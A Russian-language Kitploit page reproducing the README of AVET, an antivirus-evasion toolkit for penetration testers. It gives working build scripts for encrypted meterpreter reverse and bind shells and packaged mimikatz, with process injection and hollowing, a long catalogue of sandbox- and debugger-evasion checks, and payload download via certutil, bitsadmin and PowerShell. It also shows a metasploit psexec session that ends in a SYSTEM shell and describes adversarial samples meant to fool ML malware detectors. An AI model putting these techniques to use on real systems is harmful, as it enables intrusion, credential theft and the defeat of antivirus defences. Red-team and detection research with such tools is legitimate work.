Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
avet — Инструмент обхода антивируса | Kitploit
Инструменты/GitHubGitHub/govolution/avet
Инструменты шифрования/дешифрованияФреймворки для эксплойтовГенерация полезной нагрузкиОбход IDS/IPSШелл-кодТестирование на ПроникновениеМашинное ОбучениеСтатьи и ИсследованияОбучение и ОбразованиеRed TeamingСостязательная Атака
1.8k33111 год назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
govolution/avet

avet

Инструмент обхода антивируса

Репозиторий

Инструмент для обхода антивирусов

AVET больше не развивается из-за технических ограничений и нехватки времени.

AVET — это инструмент для обхода антивирусов, разработанный для упрощения жизни пентестерам и для экспериментов с методами обхода антивирусов, а также другими методами, используемыми вредоносным ПО. Обзор новых функций в v2.4, а также предыдущих версий можно найти в файле CHANGELOG.

Содержание

  • Установка

  • Docker

  • AVET простой способ

  • AVET обычный способ

  • Документация (нажмите, чтобы развернуть)
    • Методы получения данных
    • Шифрование и кодирование
    • Обход песочницы
    • Выполнение дополнительных команд
    • Вспомогательные инструменты
    • AVET и metasploit psexec
    • Состязательные примеры
  • Подробнее

Некоторые возможности

  • при запуске .exe файла, созданного с помощью msfpayload и т.п., файл часто распознается антивирусным ПО
  • AVET — это инструмент для обхода антивирусов, нацеленный на машины с Windows и исполняемые файлы
  • теперь можно использовать различные типы входных полезных нагрузок: shellcode, exe и dll
  • доступно больше техник: инъекция shellcode/dll, процесс-холлоуинг и другие
  • гибкие методы получения полезной нагрузки, ключа дешифрования и т.д.
  • использование в качестве дроппера
  • объединение нескольких итераций AVET позволяет добавлять несколько уровней обхода, если необходимо
  • комбинация техник: загрузите зашифрованную полезную нагрузку через powershell, укажите ключ дешифрования через аргумент командной строки во время выполнения и, наконец, внедрите полезную нагрузку в другой процесс, выбирая из нескольких техник
  • базовые проверки песочницы
  • генерация состязательных примеров против статических детекторов на основе машинного обучения
  • выполнение всех доступных сборочных скриптов с помощью build_script_tester.py, также может быть интересно исследователям для создания набора «вредоносных» образцов с использованием различных методов обхода и инъекций

Важное замечание

Не все техники обходят каждый антивирусный движок. Если одна техника или сборочный скрипт не работают, попробуйте другую. Не стесняйтесь экспериментировать! В конце концов, это набор инструментов — но молотом всё же нужно владеть самому.

Установка

Инструкция по установке предназначена для Kali 64bit и tdm-gcc!

Вы можете использовать скрипт установки:```bash ./setup.sh

root@kitploit:~
Это должно автоматически помочь вам начать, установив/настроив wine и установив tdm-gcc.
Вам вскоре придётся пройти через графический интерфейс установщика tdm-gcc — стандартные настройки должны подойти.
Скрипт также спросит, хотите ли вы установить зависимости AVET, которые необходимы для использования некоторых сборочных скриптов. Загруженные зависимости будут помещены в отдельные папки рядом с папкой avet.

Зависимости загрузят последние версии:
- [pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [mimikatz](https://github.com/gentilkiwi/mimikatz)
- [DKMC](https://github.com/Mr-Un1k0d3r/DKMC)

Если по какой-либо причине вы хотите установить wine и tdm-gcc вручную:
- [Как установить tdm-gcc с помощью wine](https://govolution.wordpress.com/2017/02/04/using-tdm-gcc-with-kali-2/)

## Docker

Если вы не используете Kali или не хотите устанавливать Metasploit на свою систему, вы можете вместо этого использовать Docker-контейнер.
Контейнер содержит Metasploit и avet, а примеры будут созданы в вашей текущей директории.
Также можно использовать графический текстовый редактор, например gedit.

Сборка контейнера:```bash
sudo docker build -t avet:v0.1 .

Использование:```bash sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet:v0.1 /bin/bash

root@kitploit:~
Для лучшего опыта рекомендуется создать алиас для этого.```bash
# In your .bash_profile, .bashrc or .bash_aliases

alias avet='sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet /bin/bash'

AVET легким путем

avet.py — это небольшая утилита на Python, предназначенная для упрощения работы с инструментом.

Она выводит список всех скриптов, находящихся в папке build. После выбора одного из них вы сможете построчно пройти по скрипту, имея возможность изменять содержимое на лету.

Последнее особенно полезно, так как вы можете каждый раз задавать новые переменные LHOST и LPORT для msfvenom при запуске скрипта сборки через fabric. Вы можете задать значения LHOST и LPORT по умолчанию в файле /build/global_connect_config.sh, которые будут использоваться, если вы их не переопределите.

Эти изменения временны, то есть любые внесённые вами правки не сохраняются в скрипте сборки на диске. Изменённая версия выполняется один раз, и ваш исполняемый файл собирается.

Вот краткий пример (нажмите, чтобы раскрыть):``` python3 avet.py
root@kitploit:~
                   .|        ,       +
         *         | |      ((             *
                   |'|       `    ._____
     +     ___    |  |   *        |.   |' .---"|
   _    .-'   '-. |  |     .--'|  ||   | _|    |
.-'|  _.|  |    ||   '-__  |   |  |    ||      |
|' | |.    |    ||       | |   |  |    ||      |

| '-' ' "" '-' '-.' '` |_ jgs~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Welcome to the avet Assistant!

0 : build_40xshikata_revhttpsunstaged_win32.sh 1 : build_50xshikata_quiet_revhttps_win32.sh 2 : build_50xshikata_revhttps_win32.sh 3 : build_asciimsf_fromcmd_revhttps_win32.sh 4 : build_asciimsf_revhttps_win32.sh 5 : build_avetenc_dynamicfromfile_revhttps_win32.sh 6 : build_avetenc_fopen_revhttps_win32.sh 7 : build_avetenc_mtrprtrxor_revhttps_win64.sh 8 : build_calcfromcmd_50xshikata_revhttps_win32.sh 9 : build_calcfrompowersh_50xshikata_revhttps_win32.sh 10 : build_checkdomain_rc4_mimikatz.sh 11 : build_cpucores_revhttps_win32.sh 12 : build_disablewindefpsh_xorfromcmd_revhttps_win64.sh 13 : build_dkmc_downloadexecshc_revhttps_win32.sh 14 : build_downloadbitsadmin_mtrprtrxor_revhttps_win64.sh 15 : build_downloadbitsadmin_revhttps_win32.sh 16 : build_downloadcertutil_revhttps_win32.sh 17 : build_downloadcurl_mtrprtrxor_revhttps_win64.sh 18 : build_downloadiexplorer_revhttps_win32.sh 19 : build_downloadpsh_revhttps_win32.sh 20 : build_downloadsocket_mtrprtrxor_revhttps_win64.sh 21 : build_downloadsocket_revhttps_win32.sh 22 : build_dynamicfromfile_revhttps_win32.sh 23 : build_fibonacci_rc4_mimikatz.sh 24 : build_fopen_mtrprtrxor_revhttps_win64.sh 25 : build_fopen_quiet_revhttps_win32.sh 26 : build_fopen_revhttps_win32.sh 27 : build_getchar_rc4_mimikatz.sh 28 : build_gethostbyname_revhttps_win32.sh 29 : build_hasvmkey_revhttps_win32.sh 30 : build_hasvmmac_revtcp_win32.sh 31 : build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win64.sh 32 : build_hollowing_targetfromcmd_doubleenc_doubleev_revtcp_win32.sh 33 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win32.sh 34 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win64.sh 35 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revhttps_win64.sh 36 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revtcp_win32.sh 37 : build_kaspersky_fopen_shellrevtcp_win32.sh 38 : build_mimikatz_pe2shc_xorfromcmd_win64.sh 39 : build_pause_rc4_mimikatz.sh 40 : build_rc4_interactive_pwsh_mimikatz_win64.sh 41 : build_rc4_interactive_with_arithmetic_pwsh_mimikatz_win64.sh 42 : build_rc4enc_mimikatz_win64.sh 43 : build_sleep_rc4_mimikatz.sh 44 : build_sleepbyping_rc4_mimikatz.sh 45 : build_timedfibonacci_rc4_mimikatz.sh 46 : buildsvc_20xshikata_bindtcp_win32.sh

Скачать инструмент

Which Script would you like to configure and build? Enter the corresponding number -> 43

DESCRIPTION :

RC4-encrypt the payload with a static, preset key.

Here, the mimikatz executable is used as payload, converted into shellcode format by pe_to_shellcode.

pe_to_shellcode is written by Hasherezade:

https://github.com/hasherezade/pe_to_shellcode

This script expects the Mimikatz executable to be at input/mimikatz.exe

and the pe_to_shellcode executable to reside in a folder parallel to avet: ../pe_to_shellcode/pe2shc.exe

Configure the Build Script

enable debug output

-> enable_debug_print

generate key file with preset key

-> generate_key preset aabbccdd1122

Do you want to add sandbox evasions? [y/N] -> N

Executable will be created Shortly please wait.

*** ============================================= ***

root@kitploit:~
     .==,_                                          
    .===,_`\\                                        
  .====,_ ` \\      .====,__                         

--- .==-,~. \\ :.__, --- ~~=-. \ /^^^ MEEP MEEP
--- ~~=. \\ / ~. \ /
~. \____./
`.=====)
_.--~~~--.
__\.--~~~ ~~~---..|/
~~~\" /


|\ __ |\ \ / /|\ \ |_ \ \ \ |\ \ \ \ / / | \ _ |__|\ _| \ \ __ \ \ / / / \ \ \ \ \ \
\ \ \ \ \ \ / / \ \ _
\ \ \ \ _\ _\ _/ / \ _\ \ __
|
|||||/ |___| ||

*** ============================================= ***

Reading module from: input/mimikatz.exe [WARNING] This is a console application! The recommended subsystem is GUI. [+] Saved as: input/sc_raw.txt Starting RC4 encoder... Reading payload from file input/sc_raw.txt, expecting raw format. payload size in bytes is 1309884 Reading key from file input/key_raw.txt, expecting raw format. Key length in bytes is 6 Applying RC4 algorithm Writing payload to file input/sc_enc_raw.txt

The decryption key is aabbccddee if it has not been changed.

You need to provide the decryption key as 2nd command line argument.

Call generated executable on target like:

$ rc4enc_mimikatz_win64.exe [your mimikatz arguments, probably 'coffee'] [decryption key]

Your executable should be in the output folder!

root@kitploit:~
</details>

## AVET обычным способом

Разумеется, можно запускать все команды пошагово из командной строки. Однако в папке "build" вы найдёте предварительно настроенные сценарии сборки для соответствующих вариантов использования.
Сами сценарии сборки написаны таким образом, что их необходимо вызывать из директории avet:```bash
kali@kali:~/tools/avet$ ./build/build_fopen_mtrprtrxor_revhttps_win64.sh

Вы можете задать значения по умолчанию для LHOST и LPORT в файле /build/global_connect_config.sh, которые будут использоваться, если вы не переопределите их.

Примеры использования

Создание исполняемого файла с внедрением в 32-битный процесс в два этапа (как в build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win32.sh):

Сначала сгенерируйте полезную нагрузку для внедрения с помощью AVET:

  • сгенерируйте meterpreter/reverse_https 32-битный шелл-код
  • шелл-код meterpreter будет XOR-зашифрован с использованием 5-байтового заданного ключа
  • шелл-код будет скомпилирован в создаваемый исполняемый файл
  • перед выполнением шелл-кода будут выполнены проверки среды обхода песочницы: fopen и gethostbyname

Затем создайте исполняемый файл-"дроппер", который доставляет полезную нагрузку первого этапа через внедрение:

  • статически скомпилируйте полезную нагрузку первого этапа в исполняемый файл
  • полезная нагрузка будет XOR-зашифрована другим 5-байтовым заданным ключом
  • снова будут выполнены проверки среды обхода песочницы: fopen и gethostbyname перед внедрением
  • целевой PID для внедрения будет передан через аргумент командной строки во время выполнения

Таким образом, вы получаете двухуровневую проверенную на окружение и зашифрованную полезную нагрузку meterpreter, внедрённую в выбранный вами процесс. Хотя настройки в скрипте сборки в основном демонстрационные, существует большая гибкость для настройки создаваемого исполняемого файла путём простых изменений в скрипте сборки.

Вы можете менять методы получения данных: вместо статической компиляции большинства данных в исполняемый файл вы можете загружать полезную нагрузку для внедрения через PowerShell, скачать ключ дешифровки через сокеты, использовать другое шифрование или проверки окружения и т.д.

Или попробуйте добавить больше уровней обхода, выполнив третью итерацию сборки. Или замените полезную нагрузку. Хотите использовать Mimikatz? Преобразуйте его в шелл-код с помощью https://github.com/hasherezade/pe_to_shellcode и измените полезную нагрузку в скрипте сборки.

Конечно, вы также можете создавать более минималистичные сборки, например, выполнять незашифрованный шелл-код только с одной проверкой окружения, или, возможно, 50 итераций shikata будет достаточно для достижения вашей цели? Выбирайте/изменяйте скрипты сборки в соответствии с вашими потребностями.

Скрипты сборки

Ниже приведён список всех поставляемых в данный момент скриптов сборки. Названия должны намекать на функциональность каждого скрипта. Для подробной информации обратитесь к комментариям внутри скриптов. Не стесняйтесь изменять/писать свои собственные скрипты сборки для создания вашего исполняемого файла!

Нажмите, чтобы развернуть ``` build_40xshikata_revhttpsunstaged_win32.sh build_50xshikata_revhttps_win32.sh build_50xshikata_quiet_revhttps_win32.sh build_asciimsf_fromcmd_revhttps_win32.sh build_asciimsf_revhttps_win32.sh build_avetenc_dynamicfromfile_revhttps_win32.sh build_avetenc_fopen_revhttps_win32.sh build_avetenc_mtrprtrxor_revhttps_win64.sh build_calcfromcmd_50xshikata_revhttps_win32.sh build_calcfrompowersh_50xshikata_revhttps_win32.sh build_cpucores_revhttps_win32.sh build_checkdomain_rc4_mimikatz.sh build_disablewindefpsh_xorfromcmd_revhttps_win64.sh build_dkmc_downloadexecshc_revhttps_win32.sh build_downloadbitsadmin_mtrprtrxor_revhttps_win64.sh build_downloadbitsadmin_revhttps_win32.sh build_downloadcertutil_revhttps_win32.sh build_downloadcurl_mtrprtrxor_revhttps_win64.sh build_downloadiexplorer_revhttps_win32.sh build_downloadpsh_revhttps_win32.sh build_downloadsocket_mtrprtrxor_revhttps_win64.sh build_downloadsocket_revhttps_win32.sh build_dynamicfromfile_revhttps_win32.sh build_fibonacci_rc4_mimikatz.sh build_fopen_mtrprtrxor_revhttps_win64.sh build_fopen_quiet_revhttps_win32.sh build_fopen_revhttps_win32.sh build_getchar_rc4_mimikatz.sh build_gethostbyname_revhttps_win32.sh build_hasvmkey_revhttps_win32.sh build_hasvmmac_revtcp_win32.sh build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win64.sh build_hollowing_targetfromcmd_doubleenc_doubleev_revtcp_win32.sh build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win32.sh build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win64.sh build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revhttps_win64.sh build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revtcp_win32.sh build_kaspersky_fopen_shellrevtcp_win32.sh build_mimikatz_pe2shc_xorfromcmd_win64.sh build_pause_rc4_mimikatz.sh build_rc4_interactive_pwsh_mimikatz_win64.sh build_rc4_interactive_with_arithmetic_pwsh_mimikatz_win64.sh build_rc4enc_mimikatz_win64.sh build_sleep_rc4_mimikatz.sh build_sleepbyping_rc4_mimikatz.sh build_timedfibonacci_rc4_mimikatz.sh buildsvc_20xshikata_bindtcp_win32.sh ```

Документация

Методы получения данных

Эти методы совместимы со всеми источниками данных AVET и могут использоваться как таковые в скрипте сборки.

Несколько примеров:```

Compiles the command 'calc.exe' statically into the executable, which will then be executed via cmd at sample startup.

set_command_source static_from_here 'calc.exe' set_command_exec exec_via_cmd

Download 64-bit shellcode via powershell, and execute.

set_payload_source download_powershell set_payload_execution_method exec_shellcode64

Download XOR decryption key into memory. (Server to download from is always specified via first command line argument on execution). Decode the payload.

set_key_source download_socket set_decoder xor

Retrieves the tuple (target PID, dll path) from command line on execution

set_payload_info_source from_command_line_raw set_payload_execution_method inject_dll

root@kitploit:~
Если функции пропущены/не используются, вместо этого необходимо указать поведение, подобное NOP:```
set_command_source no_data
set_command_exec no_command

static_from_file

Данные извлекаются из файла и статически компилируются в сгенерированный исполняемый файл. Для этого данные должны быть предоставлены в виде c-style массива во время компиляции, например``` unsigned char buf[] = "\x00\x11\x22\x33";

root@kitploit:~
#### static_from_here
Данные статически компилируются в создаваемый исполняемый файл, извлекаются из указанного аргумента в скрипте сборки.

#### dynamic_from_file
Данные считываются из файла во время выполнения.

#### from_command_line_hex
Извлекает данные из шестнадцатеричной строки формата "11aabb22.." (из командной строки).

#### from_command_line_raw
Извлекает данные из аргумента командной строки. Заданная ASCII-строка интерпретируется как необработанные байтовые данные.

#### download_certutil
Загружает данные с указанного URI с помощью ```certutil.exe -urlcache -split -f```.
Сохраняет загруженный файл на диск перед чтением данных.

#### download_curl
Загружает данные с помощью curl.
Сохраняет загруженный файл на диск перед чтением данных.

#### download_internet_explorer
Загружает данные с указанного URL с помощью Internet Explorer.
Сохраняет загруженный файл на диск перед чтением данных.

#### download_powershell
Загружает данные с указанного URI через powershell.
Сохраняет загруженный файл на диск перед чтением данных.

#### download_socket
Загружает данные с указанного URI с помощью сокетов.
Данные считываются напрямую в память, файл на диск не сохраняется.

#### download_bitsadmin
Загружает данные с помощью утилиты Windows BITSAdmin.
Сохраняет загруженный файл на диск перед чтением данных.

### Методы выполнения полезной нагрузки
Как выполнить/доставить полезную нагрузку. Методы внедрения/опустошения требуют дополнительной информации о цели внедрения, которую можно указать с помощью ```set_payload_info_source <the_info>``` (см. методы извлечения данных).

#### exec_shellcode
Выполняет 32-битный шелл-код с привязкой к функции C.

#### exec_shellcode64
Выполняет 64-битный шелл-код с привязкой к функции C и VirtualProtect.

#### exec_shellcode_ASCIIMSF
Выполняет шелл-код, закодированный в ASCIIMSF, с помощью ```call eax```.

#### hollowing32
Создаёт новый процесс, вырезает исходный образ и внедряет заданную полезную нагрузку в новый процесс.
Полезная нагрузка — 32-битный исполняемый образ. Работает на 32-битных целях.

#### hollowing64
То же, что и hollowing32, но с использованием 64-битных PE-нагрузок для 64-битных целевых процессов.

#### inject_dll
Внедряет DLL в целевой процесс с помощью ```CreateRemoteThread```.
Внедрение работает для 32-битных нагрузок в 32-битные процессы и для 64-битных нагрузок в 64-битные процессы соответственно.

#### inject_shellcode
Внедряет шелл-код в целевой процесс с помощью ```CreateRemoteThread```.
Внедрение работает для 32-битного шелл-кода в 32-битные процессы и для 64-битного шелл-кода в 64-битные процессы соответственно.

### Шифрование и кодирование
AVET предоставляет кодировщики для каждой схемы, которые могут быть применены к полезной нагрузке до компиляции/доставки.
Во время выполнения указанный декодер снова деобфусцирует полезную нагрузку во время выполнения.

Вот пример RC4, где ключ дешифрования извлекается из командной строки в шестнадцатеричном формате во время выполнения:```
generate_key preset aabbccddee input/key_raw.txt
encode_payload rc4 input/shellcode_raw.txt input/shellcode_enc_raw.txt input/key_raw.txt
set_key_source from_command_line_hex
set_decoder rc4

Вы также можете пропустить функцию кодирования, не кодируя дополнительно shellcode, и установить:``` set_key_source no_data set_decoder none

root@kitploit:~
#### xor
Rolling XOR, поддерживающий многосимвольные ключи.

#### avet
Пользовательское кодирование, переосмысливающее формат ASCII.

#### rc4
Шифрование/дешифрование RC4 с гибкой длиной ключа.

### Обход отладчика и песочницы
Это проверки окружения, которые выполняются перед финальным кодированием и выполнением полезной нагрузки.
Если обнаружена нежелательная среда выполнения (например, песочница антивируса), выполнение останавливается.

В настоящее время можно поставить в очередь до 10 произвольных проверок. Поддерживается многократное использование одной и той же техники.
Ограничение очереди *EVASION_ARRAY_SIZE* можно легко изменить в *avet.c*.

#### is debugger present
Проверка с помощью функции isDebuggerPresent(), присутствует ли отладчик.
Выход, если истина.```
add_evasion is_debugger_present

sleep

Ожидание в течение определенного времени перед выполнением. Длительность(в секундах) может быть указана в скрипте сборки, например```

sleep for 3 seconds

add_evasion evasion_by_sleep 3

root@kitploit:~
#### sleep by ping
Остановка выполнения программы на заданное количество секунд путем вызова команды ping с таймером на localhost. Программа выполняет ping один раз в секунду.```
add_evasion sleep_by_ping 4

проверка быстрой перемотки

Проверяет, использует ли песочница быструю перемотку для сокращения времени эвристической проверки. Используется локальное время и sleep.``` add_evasion check_fast_forwarding

root@kitploit:~
#### get tickcount
Проверяет, использует ли песочница быструю перемотку для уменьшения времени эвристической проверки. Используются время работы и сон.```
add_evasion get_tickcount

Username

Получить имя пользователя и сравнить с заданным. Выход, если не совпадает.``` add_evasion has_username 'IEUser'

root@kitploit:~
#### Messagebox
Породить простое Messagebox перед выполнением. Если арифметика не решена правильно, программа завершается.```
add_evasion interaction_msg_box

getchar

Ожидание ввода с помощью getchar.``` add_evasion interaction_getchar

root@kitploit:~
#### пауза системы
Выполняет system("pause"), заставляя порожденный cmd (и наш основной процесс) ждать нажатия любой клавиши.```
add_evasion interaction_system_pause

fopen

Проверяет существование файла. Если не найден, останавливает выполнение. Имя файла может быть указано в сценарии сборки, например``` add_evasion fopen_sandbox_evasion 'c:\windows\system.ini'

root@kitploit:~
#### информация о BIOS
Проверяет, можно ли получить таблицу прошивки SMBIOS. Если нет, выполнение прекращается.```
add_evasion get_bios_info

gethostbyname

Попробуйте разрешить имя хоста по вашему выбору. Если gethostbyname возвращает не NULL, выполнение останавливается. Имя хоста для проверки можно указать в скрипте сборки, например``` add_evasion gethostbyname_sandbox_evasion 'testdomain.com'

root@kitploit:~
#### get_cpu_cores
Проверяет количество ядер процессора на целевой системе. Если количество меньше указанного значения, выполнение прекращается.```
add_evasion get_cpu_cores 2

has_vm_mac

Проверяет префиксы MAC-адресов, специфичные для вендора. Если какие-либо идентифицированы, останавливает выполнение.``` add_evasion has_vm_mac

root@kitploit:~
#### has_vm_regkey
Проверяет наличие реестровых ключей, специфичных для вендора. Если какие-либо обнаружены, останавливает выполнение.```
add_evasion has_vm_regkey

hide_console

Не совсем техника уклонения, но скрывает окно консоли ;)``` add_evasion hide_console

root@kitploit:~
#### Installation Date
Получить дату установки Windows и сравнить ее с указанной. Если даты не совпадают, остановить выполнение. Дату необходимо указать в формате дд/мм/гггг.```
add_evasion get_install_date '24/11/2007'

Количество процессов

Подсчитайте количество запущенных процессов. Если количество процессов меньше заданного порогового значения, остановите выполнение.``` add_evasion get_num_processes 50

root@kitploit:~
#### Стандартный браузер
Прочитайте Registry Key, чтобы получить браузер по умолчанию. Если браузер не совпадает с заданным значением, остановите выполнение. Возможные значения:  MSEdgeHTM, Firefox или ChromeHTML.```
add_evasion get_standard_browser 'Firefox'

Домен

Запрашивает DNS-домен, в котором находится цель. Если цель не находится в ожидаемом домене, как указано, программа завершается.``` add_evasion get_computer_domain 'domain.com'

root@kitploit:~
#### Вычисления
Fibonacci

Вычисляет указанное количество итераций ряда Фибоначчи.
Вероятно, выдаст неверные результаты для больших n из-за ограничений целых чисел.```
# 10 iterations
add_evasion computation_fibonacci 10

Таймированный Фибоначчи

Останавливает вычисления Фибоначчи после приблизительно указанного количества секунд.```

Stops computation after 20 seconds

add_evasion computation_timed_fibonacci 20

root@kitploit:~
#### Папки и другое
Проверьте, существует ли артефакт, и остановите выполнение, если нет. Пути должны быть в стиле Unix.

Фоновые обои:```
add_evasion has_background_wp

Проверка наличия папки:``` add_evasion has_folder 'C:/Users/user/Downloads/'

root@kitploit:~
Проверка общедоступного рабочего стола:```
add_evasion has_public_desktop

Проверить корзину``` add_evasion has_recycle_bin

root@kitploit:~
Проверить папку с недавними файлами```
add_evasion has_recent_files

Проверить наличие сетевого диска``` add_evasion has_network_drive

root@kitploit:~
### Дополнительное выполнение команд
Предоставляет возможность выполнить дополнительную полезную нагрузку cmd/powershell сразу после функций обхода песочницы.
Источник полезной нагрузки совместим с методами извлечения данных AVET.

Следующий пример загружает полезную нагрузку powershell через BITSAdmin:```
set_command_source download_bitsadmin
set_command_exec exec_via_powershell

Helper tools

data_raw_to_c

Принимает необработанные данные из файла, преобразует их в формат C-массива и записывает результат в другой файл. Это помогает обеспечить правильный формат для метода получения данных static_from_file.

generate_key

Утилита генерации ключей. Создает либо (некриптографический) случайный ключ, либо принимает предустановленный ключ на вход и выводит исходные данные ключа в указанный файл. Это помогает обеспечить материал ключа для функции шифрования AVET.

sh_format

Утилита из AVET 1.3, выполняющая кодирование AVET.

AVET & metasploit psexec

AVET совместим с модулем psexec metasploit. Для этого сгенерированный исполняемый файл должен быть скомпилирован как служба Windows, что реализуется с помощью avetsvc.c. Рассмотрим соответствующий пример сценария сборки

build_svc_20xshikata_bindtcp_win32.sh:``` #!/bin/bash

Designed for use with msf psexec module!

print AVET logo

cat banner.txt

include script containing the compiler var $win32_compiler

you can edit the compiler in build/global_win32.sh

or enter $win32_compiler="mycompiler" here

. build/global_win32.sh

import global default lhost and lport values from build/global_connect_config.sh

. build/global_connect_config.sh

override connect-back settings here, if necessary

LPORT=$GLOBAL_LPORT

make meterpreter bind payload, encoded 20 rounds with shikata_ga_nai

msfvenom -p windows/meterpreter/bind_tcp lport=$LPORT -e x86/shikata_ga_nai -i 20 -f raw -a x86 --platform Windows > input/sc_raw.txt

import feature construction interface

. build/feature_construction.sh

add evasion techniques

add_evasion fopen_sandbox_evasion 'c:\windows\system.ini' add_evasion gethostbyname_sandbox_evasion 'this.that'

generate key file

generate_key preset aabbcc12de input/key_raw.txt

encode shellcode

encode_payload xor input/sc_raw.txt input/scenc_raw.txt input/key_raw.txt

array name buf is expected by static_from_file retrieval method

./tools/data_raw_to_c/data_raw_to_c input/scenc_raw.txt input/scenc_c.txt buf

no command preexec

set_command_source no_data set_command_exec no_command

set shellcode source

set_payload_source static_from_file input/scenc_c.txt

convert generated key from raw to C into array "key"

./tools/data_raw_to_c/data_raw_to_c input/key_raw.txt input/key_c.txt key

set key source

set_key_source static_from_file input/key_c.txt

set payload info source

set_payload_info_source no_data

set decoder

set_decoder xor

set shellcode binding technique

set_payload_execution_method exec_shellcode

enable debug printing

enable_debug_print to_file C:/avetdbg.txt

compile as service

$win32_compiler -o output/service.exe source/avetsvc.c -lws2_32 strip output/service.exe

cleanup

cleanup_techniques

root@kitploit:~
И на стороне metasploit:```
msf exploit(psexec) > use exploit/windows/smb/psexec
msf exploit(psexec) > set EXE::custom /root/tools/ave/pwn.exe
EXE::custom => /root/tools/ave/pwn.exe
msf exploit(psexec) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(psexec) > set rhost 192.168.116.183
rhost => 192.168.116.183
msf exploit(psexec) > set smbuser dax
smbuser => dax
msf exploit(psexec) > set smbpass test123
smbpass => test123
msf exploit(psexec) > set lport 8443
lport => 8443
msf exploit(psexec) > run

[*] 192.168.116.183:445 - Connecting to the server...
[*] Started bind handler
[*] 192.168.116.183:445 - Authenticating to 192.168.116.183:445 as user 'dax'...
[*] Sending stage (957487 bytes) to 192.168.116.183
[*] 192.168.116.183:445 - Selecting native target
[*] 192.168.116.183:445 - Uploading payload...
[*] 192.168.116.183:445 - Using custom payload /root/tools/avepoc/a.exe, RHOST and RPORT settings will be ignored!
[*] 192.168.116.183:445 - Created \mzrCIOVg.exe...
[+] 192.168.116.183:445 - Service started successfully...
[*] 192.168.116.183:445 - Deleting \mzrCIOVg.exe...
[-] 192.168.116.183:445 - Delete of \mzrCIOVg.exe failed: The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0)
[*] Exploit completed, but no session was created.
msf exploit(psexec) > [*] Meterpreter session 4 opened (192.168.116.142:33453 -> 192.168.116.183:8443) at 2017-05-27 18:47:23 +0200

msf exploit(psexec) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
4 meterpreter x86/windows NT-AUTORIT_T\SYSTEM @ DAX-RYMZ48Z3EYO 192.168.116.142:33453 -> 192.168.116.183:8443 (192.168.116.183)

msf exploit(psexec) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > sysinfo
Computer : DAX-RYMZ48Z3EYO
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : de_DE
Domain : ARBEITSGRUPPE
Logged On Users : 2
Meterpreter : x86/windows

Состязательные примеры

Состязательные примеры — это специально созданные входные данные, предназначенные для того, чтобы заставить модели машинного обучения ошибаться в классификации.

Для использования этого метода создайте виртуальное окружение и установите необходимые зависимости из requirements.txt.

Практические манипуляции

Доступно пять манипуляций, сохраняющих функциональность PE-файлов:

Practical Manipulations

Чтобы применить практическую манипуляцию к вредоносному ПО со вставленными случайными байтами, используйте команду gen_adversarial_exe, после которой укажите название практической манипуляции и путь к файлу в качестве параметров. Доступные манипуляции: full_dos, extend, shift, padding, section_injection.

Например:```sh gen_adversarial_exe section_injection output/rc4enc_mimikatz_adversarial_win64.exe

root@kitploit:~
### Генетическая оптимизация
Вместо внедрения случайного контента можно оптимизировать его для достижения более высокой вероятности обхода детекции.
Оптимизатор извлекает безвредные секции из легитимного ПО (goodware) и использует генетический алгоритм для оптимизации внедряемого контента.
Контент оптимизируется против MalConv — статического детектора на основе машинного обучения, использующего сверточную нейронную сеть.
Используемая реализация MalConv взята из библиотеки [SecML Malware](https://github.com/pralab/secml_malware).

Необходимо наличие легитимного ПО (goodware), которое следует поместить в папку `input/goodware_samples`.
Например, [DikeDataset](https://github.com/iosifache/DikeDataset) является хорошим источником для получения безвредных исполняемых файлов. Чем больше, тем лучше, но для тестирования достаточно 100.

Чтобы использовать оптимизатор, выполните команду `$genetic_optimizer`:```sh
$genetic_optimizer -pm $practical_manipulation -p $population_size output/rc4enc_mimikatz_adversarial_win64.exe

Возможные варианты:``` -p, --population_size, default=50 -e, --elitsm, default=10 -i, --iteration, default=10 -pr, --penalty_regularizer, default=1e-6 -ss, --section_size, default=10 -pm, --practical_manipulation, default=section_injection

root@kitploit:~
Больше о состязательных примерах, генетической оптимизации и MalConv можно прочитать здесь:
- [Adversarial EXEmples: A Survey and Experimental Evaluation of Practical Attacks on Machine Learning for Windows Malware Detection](https://arxiv.org/abs/2008.07125)
- [Functionality-preserving Black-box Optimization of Adversarial Windows Malware](https://arxiv.org/abs/2003.13526)
- [Malware Detection by Eating a Whole EXE](https://arxiv.org/abs/1710.09435)


## Подробнее
---

Основы обхода антивирусов, AVET и дополнительная информация — смотрите здесь (в основном для версии 1.3): 
